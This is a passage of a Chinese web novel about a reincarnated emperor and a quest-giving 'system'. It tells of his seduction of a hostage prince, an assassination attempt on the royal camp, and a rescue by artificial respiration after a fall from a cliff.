梁深接过小纸包,摆摆手:“你不要把这件事情透露出去,找个借口支走马厩的骑奴驾士,剩下的……本王亲自来。”
“是是是!”内监一打叠应声,堆叠的驴眼皮之下是一双不怀好意的眼目。
扈行队伍就地扎营,御营大帐很快搭建起来,梁苒入驻御营。
轻轻摩挲着右手大拇指之上的血红扳指,三级任务已经发布了两个,第二个任务简简单单便完成了,唯独这第一个任务,梁苒都做到那个份儿上了,竟还是失败了,简直是阴沟里翻船。
梁苒喃喃自语:“怀孕的事情……不能再耽搁。”
要知道,系统说过了,梁苒之所以兢兢业业却无法称霸,其实是因为没、有、儿、子!
早一点把儿子生下来,也能早一点让儿子派上用场,如此一来,大梁的江山才能在梁苒的手中稳固,才能在梁苒手中发扬光大下去。
梁苒的眼神愈发坚定,抿了抿殷红的唇瓣,打起帐帘子说:“来人,准备温汤,寡人要沐浴。”
宫人听到梁苒的吩咐,立刻应声说:“敬诺,君上。”
宫人前去烧水,准备沐浴的温汤,梁苒本想放下帐帘子,转身走回御营之中,哪知这一瞥,却看到了秦王梁深。
梁苒的二哥梁深,只他一个人,身形挺拔肩膀宽阔,一看便是英武将才,那身形十足扎眼,绝不会认错,更何况他还穿着秦王的官袍。
行色匆匆,却莫名有点鬼鬼祟祟。
“二兄这是在做什么?”梁苒微微蹙眉,抬步跟上去。
只见梁深走走停停,左顾右盼。他这个人性子耿直,有些冲动,心窍里最是藏不住事儿,但凡有什么都会挂在脸上,便比如眼下,第一次上道儿的贼子都比他自然得多!
梁深一路来到马厩,站在马匹饮水的马槽之前出神,以至于不怎么会武艺的梁苒走到他背后,梁深还在出神,完全没有察觉。
梁苒挑眉,二哥对着发呆的那匹白马,俊秀挺拔,不正是大皇兄梁溪的坐骑么?这匹马还是数年前,梁深征战山戎得来的战利品,日行千里,难得的是这马匹的性子十足温良,同得人性。于是梁深献宝一样,将这匹白马送给了大皇兄梁溪,一晃数年过去了,梁溪从未换过坐骑。
梁深苦大仇深的盯着那匹白马,手掌紧握,绛紫色的袖袍之下,似乎
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掩藏着什么,一个……小纸包?
梁苒挑眉,出声说:“二哥?”
“!”梁深狠狠吓了一跳,饶是在战场上,面对千军万马他都从未如此惊慌过。
啪嗒!小纸包从他的袖口中掉下来,落在地上。
梁苒微笑:“二哥,你在马厩做什么呢?”
梁深见到是梁苒,瞬间变成了结巴,磕磕巴巴的说:“君君……君上!我、臣……”
梁深果然不擅说谎,僵硬的说:“臣突然想起来还有要事,想告退了……”
“且慢。”梁苒叫住他。
梁深又是吓了一哆嗦,像是做了什么亏心事儿。
梁苒笑眯眯的说:“二哥,你掉了东西。”
梁深低头一看,这才发现泻药掉在地上,一把抓起来,抓了满手的土也不在意,把腿撒丫子便跑,哪里还有半点秦王的端庄威严?
“这个梁深……”梁苒无奈的摇头,果真不适合与大宗伯为伍。
梁苒回到御营大帐,宫人已然准备好了温汤,袅袅的热气充斥着整个营帐,令肃穆的御营蒙上一层朦胧的暧昧。
梁苒吩咐说:“去把赵皇子请来。”
“是,君上。”
等宫人离开,哗啦——梁苒立刻退下选黑色的龙袍,一同退下的还有雪白的内袍,灵巧的足尖儿轻轻一踢,将单薄的衣衫踢开,缓步迈入温汤之中。
踏踏踏……梁苒听到了跫音,合该是赵悲雪应召前来的声音,内勾外翘的丹凤眼眯起来,闪烁着运筹帷幄的算计,梁苒快速打散自己的鬓发,让鸦发垂入水中。
鸦发湿濡,血肌温润,昏黄的烛火映照着晶莹剔透的水珠,一点点顺着梁苒线条优美的天鹅颈滚落。
“拜见君……”赵悲雪走入御营大帐,作礼的嗓音顿时卡住,变得无比沙哑深沉。
梁苒轻轻颤抖单薄的肩头,故作寒冷的模样,柔声说:“你站在那里做什么?别让寒气窜进营帐,快过来。”
赵悲雪的动作更加僵硬,他挺拔的身姿变成了钢板,垂在两侧的双手死死握拳,牵扯着背肌微微隆起,似乎在克制着什么,低下一点头,慢吞吞的,一步一步往里走。
哗啦——哗啦——是梁苒掬起温汤之水的声音,如斯暧昧,犹如床笫的浅吟。
啪!
梁苒伸出白皙滚着水珠的手臂,一把抓住赵悲雪的腕子,将人一拽。他的气力对比赵悲雪,自然是不大的,但赵悲雪怕弄伤了他,根本不敢较劲,一下子被拉到温汤之畔,甚至他的袖摆已经被水迹浸湿。
梁苒这次不打算下药,也不打算顽一些花的,因着他发现,其实勾引赵悲雪,根本用算好那么多劳什子的手段,干脆一些,利索一些,更简单。
梁苒感觉到赵悲雪的手腕在升温,体温烫得吓人,他的眉眼轻轻撩起,眼神软软的瞥向赵悲雪,幽幽的说:“进来,替寡人暖暖身子。”
赵悲雪的喉结干涩急促的上下滚动吗,沙哑的说:“你还伤着。”
哗啦,伴随着一声水流的轻响,梁苒慢慢长身而起,犹如出水青莲,柔韧的双臂水蛇一般缠上赵悲雪的脖颈,粉润的唇瓣若有似无的摩挲着赵悲雪的耳垂,吐息似鸿羽,嗓音慵懒,却带着帝王不可违逆的威严:“寡人命令你,这一次,把你的东西留在寡人身子里。”
20. 一点点甜头
夜色像一块不透光的黑布,一点点从天幕降临,缓缓压下,笼罩着整个扈行营地。
簌簌簌……
是冷风吹动杂草的声音,倏然,一道黑影闪过,如瞬息电闪,一晃而过,只眨眼的功夫已然不见踪影,仿若幻觉。
是赵悲雪!
赵悲雪因为只是一个不得宠的质子,被安排在了一个偏僻角落的营帐之中下榻,根本无人过多注意。
举起宽大的手掌,轻轻打起营帐的帘子,赵悲雪一双锐利的双眼微微低垂,扫视着来来往往的虎贲禁军。
趁着禁军倒班交接的空隙,赵悲雪身形如电,快速一个闪身,直接跃出营帐,所有的虎贲禁军根本没有看清楚,浑然没有注意有人经过。
赵悲雪离开营帐,专捡偏僻之处行走,避开禁军守卫的耳目,悄然离开扈行营地,只身往荒凉的地方走去。
他来到一棵枯死的大树跟前,手掌从怀中一掏,掏出了一支银色的哨子,放在唇边。
嗖——
犹如鸟鸣的声音,幽幽的顺着夜风飘散。
沙沙……
一阵轻微的响动,两条黑影快如野兽一般逼近,齐刷刷单膝跪在赵悲雪面前,拱手作礼:“拜见主上!”
赵悲雪没有说话,其中一个声音清朗健气的黑衣人又说:“主上,兵马已经安排妥帖,只要主上一声令下,随时可以伏击刺杀!”
赵悲雪的眼神凉丝丝的,黑暗的眸子蒙着一层淡漠的阴晦,死水一样不兴波澜,幽幽的开口:“不急,按兵不动。”
黑衣人奇怪的抬起头来,惊讶的说:“可是、主上,天子令您抓住这次大好时机,让北梁的人主、晋王、秦王有去无回,只有杀死这些姓梁的贼子,主上您才可以重回我大赵,堂堂正正的做四皇子,届时还有谁敢看不起主上?!”
赵悲雪听了他的话,眼目微微眯起,却露出更多的三白,似乎在考虑什么。
赵悲雪的确是北赵送来的质子,但他也并非一个普通的质子。赵悲雪的父亲,也就是北赵的天子,野心勃勃,根本不想与大梁和平共处,他虽表面上修和,其实暗地里偷袭菰泽国,想要吞并菰泽国的兵力来满足自己。另外一方面,便是安排自己的儿子赵悲雪,到大梁去做细作,暗中刺杀大梁的贵胄,什么晋王,什么秦王,一个也不能放过,最好……
最好割下大梁天子的项上人头,如此一来,赵悲雪才可以重回北赵,重新做回北赵的四皇子。
赵悲雪沙哑的说:“按兵不动,照我的吩咐去做。”
黑衣人还想劝说什么,一脸焦急,他刚要开口,另外一个一直没有说话的黑衣人突然开了口,他的声音沉静稳重,说:“是,谨遵主上之令。”
赵悲雪看了那二人一眼,叮嘱说:“没有我的吩咐,一个死士也不得动手。”
第一个黑衣人虽有些不甘心,但还是说:“是,主上。”
赵悲雪没有再说话,轻轻摆了摆因为常年习武、常年做苦力而生着薄茧的手掌,两个黑衣人形如鬼魅,瞬间消失了踪影。
赵悲雪又停顿了一小会儿,抬步离开,往扈行营地回去。
他进了扈行营地,堪堪回到自己下榻的营帐,哪知晓这么巧,一个内监急匆匆跑来,呼呼喘着粗气,看起来很是焦急。
“哎呦喂!”那内监擦了擦热汗:“赵皇子,您去哪里了,真真儿是叫人好找啊!”
赵悲雪眼目眯起,将眼中的阴霾遮挡,他哪里知晓这么寸,竟有内监在到处寻找自己。
那内监似乎并没有看出任何端倪,焦急的说:“赵皇子,君上请您过去呢,可不要让君上等得不耐烦啊!”
赵悲雪点点头,回答说:“知道了。”
赵悲雪往梁苒的御营大帐而去,一路上垂着头,看不出面色,心中却寻思着,梁苒这个时候不知找自己什么事情,难道是发现了自己方才不在营地?
转念一想又不对,如是如此,便不会找一个内监来传自己,好歹也是那个虎贲中郎将苏木。
赵悲雪走到御营大帐门口,营帐无人伺候,赵悲雪只得自行通传:“君上。”
御营大帐中静悄悄的,并无人回应,只有……
只有隐隐约约的水流声传来,哗啦——哗啦——轻轻的波动着,似乎是在沐浴。
赵悲雪的眼神变得深沉,打起帐帘子走进去。
果然,营帐中水汽朦胧,暖洋洋的雾花蒸腾弥漫,影影绰绰的灯火,为整个营帐镀上了一层柔和的光辉。
就在那样的柔光之下,营帐中没有设置地屏,梁苒白皙的皮肤,仙鹤一般的颈项,流畅的锁骨线条,还有光滑单薄轻轻起伏的胸口,甚至是柔软的腰窝,都看的一清二楚,毫无遮挡,一览无余。赵悲雪的吐息陡然粗重,眼神更加晦暗,紧紧盯着旁若无人正在沐浴的梁苒。
“过来。”梁苒开口了,只是朝他丢了一个慵懒的眼神,却令赵悲雪浑身的血液沸腾逆流,直冲头顶,整个人仿佛丢入火焰之中焚烧一般。
赵悲雪一步步朝他走过去,朝着沐浴的温汤走过去,站在浴桶之外,静静的看着梁苒,但他的眼神并不平静,浑似翻滚着惊涛骇浪的漩涡。
哗啦——
梁苒一把擒住赵悲雪的手,将他拉入温汤之中,一时间赵悲雪整洁朴素的衣衫全部湿濡,滴滴答答的水渍从鬓角滑下,伴随着热汗,划过他干涩滚动的喉结。
“呵呵。”梁苒低笑,他喜欢看到赵悲雪这样的眼神。
上辈子不可一世的敌国皇帝,冷血冷心的北赵杀神,只“赵悲雪”三个字便令多少国家闻风丧当的那个人,梁苒不过勾勾手指头,他的眼神便不一样了,其中是藏不住的情#欲,活像一只趴在梁苒脚步跪舔的家犬,怎能令梁苒不欢心呢?
赵悲雪想要占有梁苒的眼神根本藏不住,但他却在努力的克制,通过深深的吐息来压制沸腾翻滚的冲动,无比沙哑的说:“明日还要赶路,你的身子还有伤……”
显然,赵悲雪是担心梁苒的身
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子。上次他们在紫宸殿做过之后,梁苒虽然嘴上不提,但一直都有在调理上药,赵悲雪是一头野狼,开过荤的野狼,只会要的更多,他怕梁苒的身子吃不消。
如今大军在外,虽有辒辌车,可梁苒的身子那么单薄,腰肢那么纤细,在软榻之上哭泣的模样那么脆弱,若是再受了伤,岂不是一路都要受罪?赵悲雪不想令他难受。
不等赵悲雪说完,梁苒已经明白了他的意思。
赵悲雪是在关心他,可梁苒根本不需要这样多余的关心。身为大梁的天子,梁苒最关心的,只是自己什么时候能怀孕,能诞下儿子,振兴大梁,除此之外其余的都不重要。
梁苒唇角划开一丝笑容,干脆以退为进,轻轻推了赵悲雪一把,挽住他强壮肩背的手臂也慢慢松开,叹息说:“无妨,你若是力不从心,寡人亦不会怪你,寡人大可以去找旁人。寡人乃一国之君,多少人上赶着伏侍伺候,难道会找不到一个床笫之人么?”
赵悲雪的眼睛瞬间眯起来,从一只大狗子,陡然变成了一头恶狼,沙哑的说:“不许!你是我的,是我的……”
他的气息翻腾,好像随时都会一口咬在梁苒那纤细脆弱的天鹅颈之上一般。
“呵呵……”梁苒笑起来,纤细的手指轻轻抚摸上赵悲雪的面颊,顺着他青筋暴怒的额角,一路缓缓下滑,划过他线条刚毅的下巴,顺着喉结落在赵悲雪急促起伏的饱满胸肌之上,赵悲雪的肌肉明显更加紧绷,轻微的颤抖着。
梁苒幽幽的说:“寡人不是你的。”
赵悲雪的眼神暗淡,好似被遗弃的小狗子,气愤又委屈的盯着梁苒。
“不过……”梁苒却还有后话:“只要你乖乖听话,寡人让你往东,你便不往西,寡人的身子就是你的。”
哗啦!!赵悲雪再也克制不住,方才担心梁苒受伤的温柔体贴终于被撩拨的消磨殆尽,土崩瓦解。他一把打横抱起梁苒,甚至是单手抱起,将梁苒抱出温汤,大步来到软榻之前,另一手粗暴的撕开帷幔,迫不及待的将梁苒压在软榻之上。
撕碎的帷幔扑簌簌的落在二人身上,梁苒迎上赵悲雪吃人一般的赤红眼目,扬起一个胜券在握的微笑,轻声重复:“还记得寡人方才说过的话么?寡人命令你,这一次,把你的东西留在寡人身子里。”
呼,炙热的吐息喷洒在梁苒的耳畔,赵悲雪滚烫的犹如一块炭团,沙哑的说:“如您所愿,君上。”
赵悲雪吻下来,梁苒虽觉得生孩子这种事情,其实根本不需要亲吻,做完就完事儿了,可总要给小狼狗一点点甜头,小狼狗才会更加卖力,于是梁苒没有回避,主动扬起纤细脆弱的天鹅颈,献上自己粉润的双唇。
就在二人的唇瓣即将碰触之际,“有刺客!!有刺客——”
刺客?赵悲雪的亲吻一顿,眼神中闪过短暂不可捕捉的吃惊,难道是自己的部下私自行动了?
梁苒并未发觉赵悲雪的异常,一口气梗在单薄的胸口,箭在弦上,坏寡人的好事!
21. 想看他哭
“有刺客!”
御营大帐外面陡然嘈杂,沸水一般哄然起来。
唰!赵悲雪动作极快,一把拽过旁边的衣袍,将梁苒严严密密的裹住,狼目眯起,在昏暗的光线下,闪烁着冰冷的光芒。
“虎贲军待命!保护君上!”
梁苒的脸色难看到了极点,哪里还有平日里伪装的温良君王的模样,只差一点点,就差一点点,寡人绝对可以怀上赵悲雪的孩子,都怪这些刺客,早不来晚不来,偏偏这个时候来。
梁苒快速穿好衣衫,二人方才已然浸透温汤,鬓发都是湿濡的,根本无法一时间擦干,打起帐帘子从御营中走出。
只见外面嘈杂一片,虎贲军全部出动,刺客穿着统一的黑色衣衫,如浪潮一般扑来。
梁苒只是快速浏览了一眼,并未惊慌,他怎么也是活过一辈子的君王了,像这样的行刺见过不止一次,已然小小不言。
这些刺客虽然数量多,但根本比不过虎贲军,刺客突然偷袭,虎贲军慌乱一下子很快便会整顿完毕,再者还有苏木这个虎贲中郎将镇场,不会出现大问题。
果不其然,苏木带着虎贲军赶到,团团护卫在梁苒面前,严防死守,根本不给那些刺客可乘之机。
刺客与虎贲军僵持,一击偷袭不中,竟没有按照常理撤退,而是用恨不能营地里每一个人都能听见的嗓音,大喊:“杀死梁贼,不要伤害四皇子!”
四皇子?
要知晓大梁是没有四皇子的,梁苒是老三,已然是幼皇子,上面有个晋王大皇兄,和秦王二皇兄。那些刺客口中喊四皇子的时候,还齐刷刷的看向守在梁苒身侧的赵悲雪。
赵悲雪在北赵,的确排行老四,是北赵天子的第四个儿子。
虎贲军也不约而同的看向赵悲雪,一时间都是嘈杂的低语:“刺客是北赵人?”
“是北赵质子找来的刺客?!”
赵悲雪眼中闪过一抹杀意。他的确安排了一些部署,暗中跟随大梁的扈行队伍,但他今夜才叮嘱过,没有自己的吩咐,谁也不许动手,只管按兵不动。
且赵悲雪只需要看一眼,便知晓这些黑衣人不是自己的部下,因为他的部下绝不会蠢到,在梁人面前自报家门,恨不能所有人都知晓他们是来刺杀的北赵人。
这绝对是挑拨离间,有人想要栽赃陷害给赵悲雪。
赵悲雪一双剑眉压住狼目,沙哑的说:“你们根本不是赵人。”
那些刺客却大喊:“四皇子!卑职这就杀了梁贼,救您于火海!”
嗖——
一声轻微的响动,一股绿色的浓烟突然窜起在营地中。
“咳……”梁苒只是吸入了一点点,登时呛得剧烈咳嗽,那味道刺激,直窜肺腑,胸口刺痛的难以忍受,连忙掩住口鼻:“是毒烟!”
四周变得绿蒙蒙一片,被绿色的烟雾掩埋,苏木立刻失去了梁苒的踪迹,蹙眉大喊:“君上!?”
随即朗声说:“虎贲军听令,不要慌乱!”
不知怎么回事,“啊——”突然有人惨叫一声,应该是虎贲军的嗓音,是刺客趁着毒雾开始偷袭了。
梁苒一只手挡住自己的口鼻,用宽袖驱赶浓雾,可惜根本不起作用,他踉跄了两步,险些跌倒在地上,这个时候突然有东西从后背拱了梁苒的腰身一下。
梁苒一惊,回头去看,竟然是一匹白马。
晋王梁溪手拽白马缰绳,一把拽住梁苒,不由分说送他上马,再没有平日里那般温文尔雅的模样,急促的说:“君上,乘马快走!”
梁苒下意识问:“大皇兄你呢?”
这白马是大皇兄的爱马,倘或梁苒将马匹骑走,梁溪又该如何突出重围?
梁溪没有回答,浓雾遮掩了他的面容,只能听到他果决的嗓音:“先走!”
那白马似乎能听懂主人的意思,根本不需要驱策马鞭,犹如离弦之箭一般,载着梁苒飞奔而出。
耳畔是嗖嗖的风声,梁苒穿梭在浓雾之中,什么也看不清楚,只能压低身子伏在马背上,紧紧抓住毛辔头,任由那匹白马带着他狂奔。
呼——
一股大风吹过,梁苒下意识闭上眼目,等再睁开双眼之时,白马已经带着他冲出了浓雾。梁苒向后看去,团团的绿雾之中,虎贲军正在与刺客缠斗。
刺客注意到了逃离的梁苒,大吼着:“梁贼在那里!!”
“放箭!!”
“绝不能让他逃跑!”
“乱箭射死!!”
嗖!嗖嗖嗖——
是冷箭的声音,铺天盖地而来。
梁苒纤细的十指紧紧抓住马辔头,催马快跑,白马疾驰,灵动穿梭,就在梁苒以为即将逃离那些刺客追杀之时。
嘭!!一声巨响,梁苒身子一栽,陡然从马背上栽了下来,狠狠撞在地上,手臂火辣辣的生疼,半面身子撞得麻木。
梁苒忍耐着剧痛,顾不得流血的手臂,踉跄的撑起身子回头一看,那白马倒在地上,马蹄抽搐,口吐白沫,完完全全是一副中毒的迹象。
中毒?
梁苒的脑海中噌的一闪,猛然想到了独自一人在马厩鬼鬼祟祟的二皇兄梁深,当时他手里拿着一个小纸包,围着大皇兄这匹白马逡巡,不知要做什么,难道……
梁苒想要爬起来去查看那匹白马,嗖——
冷箭又至!
梁苒向后扑倒,哆一声闷响,那冷箭擦着梁苒的身子蹭过去,正好扎中他的袖袍,狠狠钉在树干之上。
梁苒心窍狂跳,发狠的去扯袖袍,奈何龙袍的衣料意外的结实,只是这么撕扯的光景,那些黑衣刺客已经跟了上来。
“放箭!!!”
铮——
是金鸣的声音,弓弦拉满,长箭飞驰,直冲梁苒脆弱的脖颈,只需一个眨眼,便可将梁苒白皙的颈项穿透。
嘭!
梁苒身子一阵钝疼,狠狠倒在地上,却不是被箭矢穿透的疼痛,更像是摔倒的疼痛,他睁开眼睛一看,有人压在自己身上,方才便是对方将自己扑倒。
“赵悲雪……”
梁苒的嘴唇张合,他摸到了一手热乎乎的液体,是赵悲雪的血……
关键时刻赵悲雪突然冲出来,一把扑倒梁苒,长箭没有穿透梁苒,反而射进了赵悲雪的肩膀,鲜血顺着伤口涔涔而下,快速将衣襟打湿。
赵悲雪紧紧咬着牙关,额角和脖颈的青筋暴突,却没有发出一声痛呼,拉起梁苒说:“快跑!”
赵悲雪拽着梁苒向前冲去,那些可以刺客十足执着,眼看着冷箭不中,飞马跟上来。二人根本没看马匹坐骑,而那些黑衣人却骑着马,距离快速缩短。
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“放箭——”
嗖——
又是冷箭的声音。
赵悲雪晦暗的脸色闪过一丝阴霾,伸手啪的一声将箭头的箭杆折断,猛的抱住梁苒,快速向前扑出,借着巨大的惯性咕噜噜的滚去。
哆哆哆!
身后是无数冷箭,扎在沙土地面上。
赵悲雪肩膀上的箭杆虽然折断,但仍然有些子碍事,每一次翻滚都牵扯到了伤口,十字形的箭镞在血肉中剜拧,鲜血滴滴答答洒了满地。
翻滚的力道很大,不知怎么回事,赵悲雪的眼睛突然一眯,他似乎看到了什么,猛地将梁苒一把推开。
巨大的推力让梁苒向后一扬,狠狠撞在树干上,惯性因此而卸下,终于停了下来。
而赵悲雪因为巨大的推力,继续向前滚去,那前方分明是——悬崖!
“赵悲雪!”梁苒的眸子狠狠一颤,从地上爬起来,不顾一切的去抓赵悲雪的手。
噼里啪啦——碎石顺着悬崖滚落,赵悲雪一只手抓住崖壁的枯草,一只手被梁苒死死拉住,肩膀上的血珠一点点挤出来,伤口肉眼可见的扩大,染湿了赵悲雪的手臂,殷红的血迹甚至爬上他的面颊,给赵悲雪的平静晦暗,平添了一抹鲜艳的癫狂。
刺客追上来了,大喊着:“前面是悬崖!快追上去,不必留活口!”
赵悲雪眼眸眯起,吐息粗重:“快放手!”
梁苒也想放手,但倘或他放了手,赵悲雪滚下悬崖,没有了赵悲雪,梁苒还怎么怀上赵悲雪的孩子?那么他的江山,是不是仍然只剩下短短的十三年?
梁苒不想再做一个短命的皇帝,他不想再做一个短命的亡国之君!
“放手!!”赵悲雪催促:“梁苒你……”
“闭嘴!”不等赵悲雪说完,梁苒厉声断喝。
寡人也想放手,上辈子就因为赵悲雪兵临城下,寡人成为了亡国之君,倘或有机会,寡人恨不能杀赵悲雪十次,不,百次!
可是……
梁苒的眼眸犹如黑色的铁石,锐利坚固不容置疑,不耐烦的冷声呵斥:“你的命是寡人的,只有寡人可以舍弃你。”
赵悲雪还保持着微微张着嘴唇的举动,所有的话全都卡在嗓子,他一贯死灰般的眸子颤抖起来,分明是被梁苒感动到了。
叮——
【2级系统功能:耳听八方!(每日可开启特殊功能1次】
【是否开启“耳听八方”】
【是】
梁苒死死拽住赵悲雪的手臂,右手血红色的扳指难免蹭到粗糙的崖壁,系统控制面板一下被弹开,直接误触了特殊功能。
让梁苒没想到的是,“耳听八方”的功能不止能听到遥远的声音,甚至还能听到别人的心声!
此时此刻赵悲雪分明没有说话,他的心声却细密而繁杂,仿佛一个话痨!
【赵悲雪:君上生气的样子好好看!】
【赵悲雪:想亲!】
【赵悲雪:想看他哭……】
【赵悲雪:若是君上能在龙榻上,一面骂我一面哭咽,怕是再好看也没有了。】
梁苒:“……”???都什么时候了,他还想这些?赵悲雪到底是痴子还是疯子!
脑袋里装的不会都是稻草罢,有这样一个父亲,当真不会影响寡人未来儿子的心智么?
22. 亲嘴就能怀孕
刺客从身后追过来,不断逼近悬崖。
梁苒回头看了一眼,刺客人数太多了,自己根本无法对付,若是落在他们手中……
深吸一口气,便听赵悲雪突然说:“松手!”
梁苒看向赵悲雪,赵悲雪还有后话:“跳下来,下面是水,快!”
这一次赵悲雪不只让梁苒松开手,还让梁苒一起跳下来!
悬崖很深,纵使下面是水,这般高的距离扎下去,也与砸到钢板上没什么区别,届时还没被淹死,已然浑身骨裂而死了。
然,此时此刻梁苒没有多余的时间去选择,他咬了咬后槽牙,与其落在这些黑衣人手中,不如自己博一条命。谁说只有赵悲雪是疯子,重生一世的梁苒也是疯子。
梁苒屏住呼吸,突然一个纵身跃下,衣襟哗啦啦发响,快速下坠的感觉将他包裹,与此同时还有一双结实的手臂,一同将他抱住。
是赵悲雪。
赵悲雪双手抱住梁苒,将他紧紧搂在怀中,护住梁苒的后脑和脖颈,按在自己坚实的胸膛上,猛地在空中调整位置,让自己整个人垫在梁苒的身下,成为梁苒的垫背。
梁苒发现他的意图,猛地睁大双眼,只是还来不及反应,轰隆——一声巨响,水面被砸开,赵悲雪和梁苒一同沉入冰凉的水中,凉冰冰的水花,夹杂着温热的液体,喷溅在梁苒白皙的脸颊上。
——那是赵悲雪的血。
冰凉的水流湍急剧烈,将二人向前一冲,水花翻腾,梁苒紧紧拽住赵悲雪,不让他被冲走,但也只是挣扎了两下,便被冷水吞没了意识,缓缓陷入黑暗之中……
“咳……咳咳——”
梁苒剧烈的咳嗽起来,身子冰冷的蜷缩起来,颤抖战栗,本能的将呛进去的水咳嗽出来。
“啊!”有人在梁苒的耳边轻轻喊了一声,但除此之外没有多余的声音。
紧跟着梁苒被什么东西推了推,动作很轻,很小心很仔细,梁苒终于慢慢清醒过来,用尽全力睁开双眼,这样的动作已然耗费掉他所有的气力。
一条人影站在梁苒面前,因为天色太暗,看不太真切,梁苒恍惚间仔细去看对方,喃喃的开口:“世子……”
怪不得对方只是发出一个无意义的单音,便没有再说话,因为那个人根本无法开口说话,正是堪堪归顺大梁的菰泽世子——世子郁笙。
世子郁笙惊喜的看着他,上前轻轻替他拍背。
梁苒有气无力的说:“是你……救了我?”
世子郁笙连忙点头。
“其他人呢?”
梁苒这么一问,世子郁笙眼眸垂下来,眼神暗淡了不少,用手语打比划,梁苒能看懂的不太多,但也能看出来,世子郁笙是一个人,他与扈行的大部队也被冲散了,只是偶然救起了梁苒。
这里还是荒郊野岭,十足陌生。
梁苒浅浅的调整吐息,脑海中突然一阵紧绷:“赵悲雪呢?”
梁苒陷入昏迷之时,赵悲雪替他做了垫背,坠入湍急的水中。倘或他死了,寡人还怎么怀孕?
“啊……”世子郁笙指了指身后的位置,梁苒挣扎着爬起来去看,有人躺在旁边。
那人身材高大,肩膀宽阔,衣衫湿漉漉的,还被勾碎了很多地方,露出大片的胸膛,而仅剩下的衣衫则是紧紧的湿濡的包裹住那个人流畅健壮的肌肉。
赵悲雪静静的躺着,面色过分的平静,胸口的起伏也不大。
梁苒用尽全力撑着身子站起来,来到赵悲雪跟前,伸手去探他的鼻息,纤细的手指一抖,竟是有些踉跄。
没有什么能让重活一世的梁苒畏惧,即使是曾经兵临城下的北赵,即使是权倾朝野的大宗伯,梁苒一样要斗倒他们,可是这一刻,梁苒竟颤抖了一记。
他因为寒冷而微微泛白的唇瓣轻轻颤抖,呢喃的说:“死了?”
世子郁笙垂低眼目,抿了抿嘴唇,他说不出话来,但能发出声音,嗓子里淡淡的“嗯”了一声。
梁苒和赵悲雪都是被世子郁笙救起来的,当时扈行营地混乱,世子郁笙也被刺客冲散,一路逃跑不辨东南西北,他跑到河边再也跑不动,跌坐在地上喘息,正好看到有东西冲到岸边,即将被河水冲走。
世子郁笙发现那东西竟然是大梁的天子和北赵的质子,于是拼尽全力将他们二人拽上来。
梁苒很快便苏醒过来,可是赵悲雪……
赵悲雪一直没有反应,世子郁笙试探过了,没有任何吐息,胸膛也不见起伏,看起来是……
死了。
“怎么可能……”梁苒纤细的身子打了一个踉跄,赵悲雪死了,寡人还如何完成任务?难道便要让寡人眼睁睁看着千万万钱从指尖流失么?赵悲雪可知晓千万万钱的库银,可以修建多少堤坝,运送多少水源,缓解多少洪灾与旱灾?
赵悲雪或许不一定知晓,毕竟他如今还只是一个小小的质子,但梁苒知晓!
梁苒冲过去,因着双腿无力,咕咚一声跪在赵悲雪身边,狠狠揪住他破碎的衣襟:“赵悲雪!赵悲雪!你不能死!寡人还没让你死!”
世子郁笙眼底有些悲凉,默默的站在一边,他最喜欢默默的站在一旁,毕竟他是个哑子。
叮——
系统控制面板从血红色的扳指中弹出。
【系统提示:赵悲雪还有心跳,宿主需要进行“人工呼吸”抢救宿敌。】
人工呼吸?梁苒一顿,眯眼看着系统提示,那是何物?
系统果然还是太超前先进了,立刻图文并茂的展现出人工呼吸的法门。
在大梁,根本没有什么人工呼吸,梁苒陡然一看,只觉得这法门实在不正经,嘴对嘴亲在起,便能叫死人复生了么?这实在匪夷所思,听起来滑稽之极!
然,这是系统的提示,之前的1级奖励和2级奖励全部实现了,梁苒不得不信。
况且现在最不想让赵悲雪丧命的人便是梁苒,即使是无稽之谈,梁苒也要试一试。
叮——
【温馨提示:今日是世界系统穿越日,随机附赠卡片一张~】
【恭喜宿主获得“亲嘴儿卡”一张!】
【亲嘴儿卡:亲嘴嘴就能怀孕!】
【只要接吻,就有0.00000001%的几率怀孕,哇~怀孕也太简单了吧!】
梁苒:“……”
多少?0.00000001%的几率?系统管这叫做简单么?
【是否启用“亲嘴儿卡”】
【是】【否】
梁苒顾不得那么多,左右都是要人工呼吸的,正好将这张看起来没多大用处的卡片用上,不用白不用。
【是】
梁苒选择之后,撕拉一声,突然扯开赵悲雪的衣带,那衣带已经有些破了,被梁苒这般一扯,瞬间支离破碎。
世子郁笙吓了一跳,睁大眼睛震惊的看着梁苒,赵皇子已经死了,没有任何气息,天子这是在做什么?怎么……怎么撕掉了赵皇子的衣带?
湿濡的衣襟散落下来,软绵绵的掉在土石地上。
梁苒确保赵悲雪身上没有任何障碍物妨碍他的呼吸,深吸了一口气,狠狠的低下头去,将自己的嘴唇覆盖在赵悲雪冰凉的唇瓣上。
“嗬——”世子郁笙倒抽一口冷气,甚至后退了两步,眼睁睁的看着天子他、他非礼死人!
梁苒知晓,自己这做法看起来很疯,像是个十足的狂人,不过很可惜,梁苒的本性便是一个狂人,只是上辈子他为了做一个英明的国君,事事忍让,压抑本性罢了。
系统图文并茂,讲解的非常清晰,纵使梁苒是个古人也能看懂,他一板一眼的给赵悲雪做人工呼吸,一次、两次,多次的反复。
赵悲雪的身体冰冷而僵硬,平静、一动不动的躺在地上。
梁苒突然觉得很委屈,上辈子就是赵悲雪这个人怕坏了寡人的大梁江山,这辈子还是赵悲雪,赵悲雪若是死了,难道要寡人的江山为他陪葬么?
“
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唔……”就在梁苒出神之际,他突然感觉到滑溜溜软绵绵的东西,还有些微凉,一下子顶开牙关,钻进来纠缠着他的唇舌。梁苒惊呼一声,睁大密布着水汽的眼眸,那是赵悲雪的舌头,赵悲雪醒来,何止是醒了,他竟然强吻了梁苒。
不过在赵悲雪的心中,或许这不是强吻,毕竟他不知什么是人工呼吸,从昏迷中醒来,便发现梁苒热情的在吻自己,赵悲雪的第一反应自然是回吻。
梁苒双手挣扎,去推赵悲雪的肩膀,赵悲雪反而一把禁锢住梁苒的腰肢,将人狠狠锁在怀中加深了亲吻,梁苒因为溺水,因为救人,本没有多少的力气也在流失,根本宁不过赵悲雪那肌肉健壮的臂膀,他的推搡变成了小猫一样的捶打,有气无力,甚至泄露出浅浅的喘息。
世子郁笙:“……”
赵皇子突然活了,起死回生,世子郁笙又是欣喜,又是震惊,只是还未来得及欣喜,脸面快速转红,天子和赵皇子这是在接、接吻么?
世子郁笙快速回过神,垂低眼目盯着自己的鞋尖,假装什么也没看见,可是他看不见,还能听见,那细腻的吐息,断断续续,听一下都是亵渎。
叮——
【亲嘴儿卡使用成功!】
